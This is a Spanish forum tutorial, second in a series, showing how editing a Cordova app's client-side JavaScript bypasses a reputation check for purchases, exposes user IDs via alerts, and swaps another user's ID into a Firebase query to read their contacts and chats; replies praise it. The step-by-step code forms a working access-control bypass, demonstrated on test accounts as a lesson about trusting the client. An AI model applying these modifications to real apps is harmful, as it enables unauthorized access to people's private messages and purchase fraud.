No le des poder al cliente (Parte 2)

Iniciado por NERV0, Junio 10, 2018, 07:22:12 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 10, 2018, 07:22:12 PM Ultima modificación: Junio 10, 2018, 11:46:43 PM por NERV0



Si es el primer post que lees de "No le des poder al cliente", te invito a ver la primera parte clickeando No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Antes de empezar, quería comentarles un detalle que se me pasó:

Al editar los archivos de la plataforma en la aplicación de Cordova, deben acordarse de editarlos en la carpeta "www" principal. Sinó, cuando vuelvan a ejecutar la plataforma, se van a cargar nuevamente los archivos sin tocar. Esto significa que por cada modificación que hagan, deben cerrar el servidor interno y volver a iniciarlo para que se carguen las modificaciones.





En el anterior post, como han visto, la cuenta de prueba fue baneada y "liberada" abusandonós del código del cliente, para así seguir utilizandola (Algo así como un bypass al cliente estando baneados en el servidor). En este post, vamos a ver que podemos hacer con el sector de compras y contactos.



I - Compras limitadas:

Esta vez, vamos a abusarnos de algo un poco mas interesante... ¿Como funciona el sistema de chat? ¿Y los contactos? Vamos a probarlo con dos cuentas, "TestU1" y "TestU2", ambas son cuentas nuevas y se van a agregar como contactos, pero con las siguientes características:


  • Ambas cuentas no tienen foto de perfil.

  • "TestU1" tiene una descripción que dice: "Soy una cuenta de test U1". Y "TestU2" dice: "Soy una cuenta de test U2".




¿Vamos a iniciar un chat entre ambos contactos?

Para poder comprar el item especial para elegir al usuario al que me quiero dirigir, necesito tener una reputación de 50, la cual no tengo... ¿Editamos?


(Como se puede apreciar en la imagen, no nos deja comprar el item por falta de reputación)



¿Buscamos el item o algún elemento mas en concreto?

Buscar el cartel, es una opción, pero podría tomarnos un poco mas de tiempo. ¿y si buscamos la imagen del "vendedor" de items?


Y efectivamente, después de buscar con paciencia, encontramos lo que queríamos en el archivo "15.js":

(Como se puede apreciar, solo se muestra el fragmento de código que nos interesa modificar)

Código: javascript

l.prototype.showBuyItem = function(l) {
                    var n = this;
                    if (l.isConsumable || !this.userinfo.myInfo.items.hasOwnProperty(l.name)) { //Si el objeto se puede comprar multiples veces
                        if (l.reputation > this.userinfo.myInfo.reputation) this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>Reputación insuficiente' : '<div><img width="30" src="assets/img/XXXXXX.png"></div>Reputación insuficiente', "whiteError", 3e3); //Si mi reputación es mas baja de la que requiere el objeto, me muestra el cartel de que no tengo la reputación suficiente para comprarlo
                        else if (void 0 == l.cost) { //De lo contrario, lo compra!
                            var e = this.modalCtrl.create("BuyitemPage", {
                                item: l
                            }, {
                                cssClass: "smallModal"
                            });
                            e.present(), e.onDidDismiss(function(l) {
                                "noMoney" == l ? (n.displayToast("fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>No tienes el suficiente dinero para comprar este objeto!' : '<div><img width="30" src="assets/img/XXXXXX.png"></div>No tienes el suficiente dinero para comprar este objeto', "whiteError", 3e3), setTimeout(function() {
                                    n.goSlider(2)
                                }, 400)) : l && n.displayToast(l.isConsumable ? "fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter7">Ahora tienes un objeto nuevo en tu inventario</div><div class="greenish">' + l.name_fr + " +" + l.nb_use + "</div>" : '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter7">Ahora tienes un objeto nuevo en tu inventario</div><div class="greenish">' + l.name_en + " +" + l.nb_use + "</div>" : "fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter57">Ahora tienes un objeto nuevo en tu inventario</div><br><div class="greenish">' + l.name_fr + " acheté</div>" : '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter57">Good deal you just got here</div><br><div class="greenish">' + l.name_en + " added</div>", "whiteToast", 3e3)
                            })
                        }
                    } else this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>Ya posees este objeto' : '<div><img width="30" src="assets/img/XXXXXX.png"></div>Ya posees este objeto', "whiteToast", 3e3)
                }

(El fragmento de código se encuentra obviamente censurado, pero sin haberle quitado su funcionamiento)



Así que si editamos el código, basandonós en los datos anteriores, deberíamos comprar objetos aunque nuestra reputación sea baja:

Código: javascript

l.prototype.showBuyItem = function(l) {
                    var n = this;
                    if (l.isConsumable || !this.userinfo.myInfo.items.hasOwnProperty(l.name)) {
                        /*if (l.reputation > this.userinfo.myInfo.reputation) this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>Reputación insuficiente : '<div><img width="30" src="assets/img/XXXXXX.png"></div>Reputación insuficiente', "whiteError", 3e3);
                        else*/ if (void 0 == l.cost) {
                            var e = this.modalCtrl.create("BuyitemPage", {
                                item: l
                            }, {
                                cssClass: "smallModal"
                            });
                            e.present(), e.onDidDismiss(function(l) {
                                "noMoney" == l ? (n.displayToast("fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>No tienes el suficiente dinero para comprar este objeto!' : '<div><img width="30" src="assets/img/XXXXXX.png"></div>No tienes el suficiente dinero para comprar este objeto', "whiteError", 3e3), setTimeout(function() {
                                    n.goSlider(2)
                                }, 400)) : l && n.displayToast(l.isConsumable ? "fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter7">Ahora tienes un objeto nuevo en tu inventario</div><div class="greenish">' + l.name_fr + " +" + l.nb_use + "</div>" : '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter7">Ahora tienes un objeto nuevo en tu inventario</div><div class="greenish">' + l.name_en + " +" + l.nb_use + "</div>" : "fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter57">Ahora tienes un objeto nuevo en tu inventario</div><br><div class="greenish">' + l.name_fr + " acheté</div>" : '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter57">Good deal you just got here</div><br><div class="greenish">' + l.name_en + " added</div>", "whiteToast", 3e3)
                            })
                        }
                    } else this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>Ya posees este objeto' : '<div><img width="30" src="assets/img/XXXXXX.png"></div>Ya posees este objeto', "whiteToast", 3e3)
                }




Y listo, ya compramos el objeto que queríamos:





Buscamos al otro usuario (Prueba de funcionamiento):





Y efectivamente, el objeto funciona. Iniciamos un chat con el otro usuario de prueba para ver si todo está correcto:



Y todo es correcto! Ya estamos preparados para comenzar con la parte interesante...







II - Contactos de los otros usuarios y mensajes falsos:



¿Como funciona el sistema de contactos? Sería muy interesante echarle un ojo al código... Busquemos la palabra clave en los "js":





Encontramos algo interesante en el archivo "2.js" el mismo que editamos en el post anterior:


Código: javascript

e.prototype.checkFriendsPhoto = function() { //Chequear foto de perfil de los amigos
                if (!this.isCheckedFriendsPhoto) { //Si no se chequeó la foto
                    this.isCheckedFriendsPhoto = !0;//¿Decimos que se chequea ahora?
                    for (var e = 0; e < this.myContacts.length; e++){ //Por el largo de la cantidad de contactos, uno por uno voy
                        void 0 != this.myContacts[e].photo && "data:image" == this.myContacts[e].photo.substring(0, 10) && this.resetUserPhoto(this.myContacts[e].uid, this.myContacts[e].photo), //Actualizando la foto de perfil buscandolá por el uid del contacto
                    }
                }


Aparece por primera vez, la lista de contactos! Que está en una base de datos, obviamente... Así que, que tal si ¿obtenemos los "uid" (User ID) de nuestros usuarios?:

Código: javascript

e.prototype.checkFriendsPhoto = function() {
                if (!this.isCheckedFriendsPhoto) {
                    this.isCheckedFriendsPhoto = !0;
                    for (var e = 0; e < this.myContacts.length; e++){
                        void 0 != this.myContacts[e].photo && "data:image" == this.myContacts[e].photo.substring(0, 10) && this.resetUserPhoto(this.myContacts[e].uid, this.myContacts[e].photo),
                        alert(this.myContacts[e].uid) //Mostramos el "uid" con un simple alert por cada amigo que tenemos...
                    }
                }



Ahora, sabemos que el uid de la cuenta "TestU2"! Pero si vamos mas abajo del código, también hay una linea que nos habla de nuestro id:

Código: javascript

e.prototype.resetUserPhoto = function(e, n) {
                ee.database().ref("users/" + this.myUid + "/contacts/" + e).update({
                    photo: ""
                })


Asi que, volvemos a editar la función "checkFriendsPhoto" y al final de todo, antes de que termine la función, agregamos lo siguiente:

Código: javascript

alert(this.myUid),


Como resultado, esto nos va a mostrar primero el "User ID" del contacto, y al final, el nuestro:





Ahora que sabemos los User ID, ¿que bellas atrocidades podemos hacer en la APP? ¿Podríamos ver los usuarios que tiene agregado el otro usuario? Según este fragmento de código, creo que es probable:



Código: javascript

n = this;
var t = this.db.list("/users/" + this.myUid + "/contacts", function(n)
                    return n.orderByChild("last_date").limitToLast(e.limitFriendsDisplay)
                }).valueChanges();
                this.myContactsWatcher = t.subscribe(function(t) {
                    n.isLoadedFriends = !0, null != t ? (n.zone.run(function() {
                        n.myContacts = t.reverse()
                    }), n.checkFriendsPhoto(), n.loadMongoFavorite()) : n.myContacts = [], n.myContacts.length >= e.limitFriendsDisplay && n.zone.run(function() {
                        n.canLoadMoreContact = !0
                    })
                });


Vamos a tener que usar un 3er usuario, así que, entra en juego un TestU3, que se ahora es amigo de TestU2:



¿Probamos lo que teníamos pensando? El código modificado lo cargamos desde TestU1, que es quien quiere ver los usuarios de TestU2:


  • Anotamos los ID:
        - TestU1: myUid (No es necesario)
        - TestU2: uJ4zv4tL2bVgBzkbW8XSJBMhYvJ2
        - TestU3: PEHTHBPlINOPSDyhUSr7ITvASaT2


  • Modificamos el código:

Código: javascript


/*
El código actual no es multiuso, solo está diseñado para ser utilizado como ejemplo...
Se puede mejorar, obviamente, pero el código es meramente simple y tosco para que
puedan observar sin complicaciones el funcionamiento ;)
*/

n = this;
var TestU2 = "uJ4zv4tL2bVgBzkbW8XSJBMhYvJ2";

if (myUid == "uJ4zv4tL2bVgBzkbW8XSJBMhYvJ2"){
    var t = this.db.list("/users/" + this.myUid + "/contacts", function(n) {
        return n.orderByChild("last_date").limitToLast(e.limitFriendsDisplay)
        }).valueChanges();
} else {
    var t = this.db.list("/users/" + TestU2 + "/contacts", function(n) {
       return n.orderByChild("last_date").limitToLast(e.limitFriendsDisplay)
       }).valueChanges();
}


Y funcionó:



¿Podremos mandar mensajes? Si, pero no funciona de manera ideal... Bueno, algo es algo ¿no? Lo importante es que podemos acceder a los contactos del otro usuario y tener completo acceso a sus mensajes!





III - ¿Que pasó?


Lo que sucedió, en los pasos previos, fue que en el código, cargabamos los contactos, a partir de un "uid". Este "uid" es el "nombre" de usuario que nosotros y los demás tienen en el servidor. Este nombre de usuario tiene una carpeta propia y en una sub, los contactos agregados:


Código: javascript
var t = this.db.list("/users/" + this.myUid + "/contacts", function(n) {



El problema es que nosotros en vez de cargar nuestro uid al momento de ver los contactos en el chat, cargamos el uid del usuario al cual queremos "hackear":

Código: javascript
var t = this.db.list("/users/" + TestU2 + "/contacts", function(n) {



Y como resultado, podemos ver los contactos de la otra persona, y por consecuencia, también sus chats. (Aunque no deberíamos ver los chats, sucede por algún bug)


El problema inicial, que lleva a la confusión es que no podíamos obtener los "uid" directamente, sinó que debíamos extraerlos de un código que los exponga facilmente:

Código: javascript
void 0 != this.myContacts[e].photo && "data:image" == this.myContacts[e].photo.substring(0, 10) && this.resetUserPhoto(this.myContacts[e].uid, this.myContacts[e].photo),
alert(this.myContacts[e].uid)


Código: javascript
/*void 0 != this.myContacts[e].photo && "data:image" == this.myContacts[e].photo.substring(0, 10) && this.resetUserPhoto(*/this.myContacts[e].uid/*, this.myContacts[e].photo),*/
alert(this.myContacts[e].uid)


Y a manopla los ibamos anotando para cargarlos...



Podríamos mejorar editando aún mas el código y mostrando un caso real con un usuario real, pero como mi propósito es demostrar lo que puede suceder, no nos vamos a adentrar.




Como pueden ver, al igual que el anterior post, nos encontramos "servido en bandeja" el código de la aplicación, (en donde por culpa de haber dejado el mecanismo del lado del cliente), con un poco de conocimiento, paciencia y curiosidad, podemos destrozar el trabajo arduo de los que hicieron la aplicación. Saquen sus propias conclusiones y los espero en la parte 3.



Saludos, y les deseo una buena semana... NERV0
"Ciertos programas informáticos son el reflejo del ego académico del pelotudo que los desarrolla"

Segunda parte, no menos en la categoría de excelencia.

Explicativo, ameno y detallista. Todo un trabajo pormenorizado que da gusto leer.

Gracias por tu aporte, y esperamos la tercera parte.

+ 1

Saludos

Gabriela
Tú te enamoraste de mi valentía, yo me enamoré de tu oscuridad; tú aprendiste a vencer tus miedos, yo aprendí a no perderme en tu abismo.

Gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ! Espero para la próxima poder hacer algunos gifs y explicar un montón de cosas en detalle, para así dar un cierre al tema y no desviarme. (Ya que esto no es una demostración de hacking, sinó de vulnerabilidades).

Slaudos y buena semana, NERV0.
"Ciertos programas informáticos son el reflejo del ego académico del pelotudo que los desarrolla"

Estoy con Gabriela, un trabajo que es simplemente explendido.
Una lectura aconsejada para todos y ya estoy esperando la tercera parte.
Te doy +1 en Karma

Saludos.
RollthBuen hacker mejor No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ! Prometo una 3ra parte mucho mejor que la anterior y esta!

Un saludo y buena semana, NERV0.
"Ciertos programas informáticos son el reflejo del ego académico del pelotudo que los desarrolla"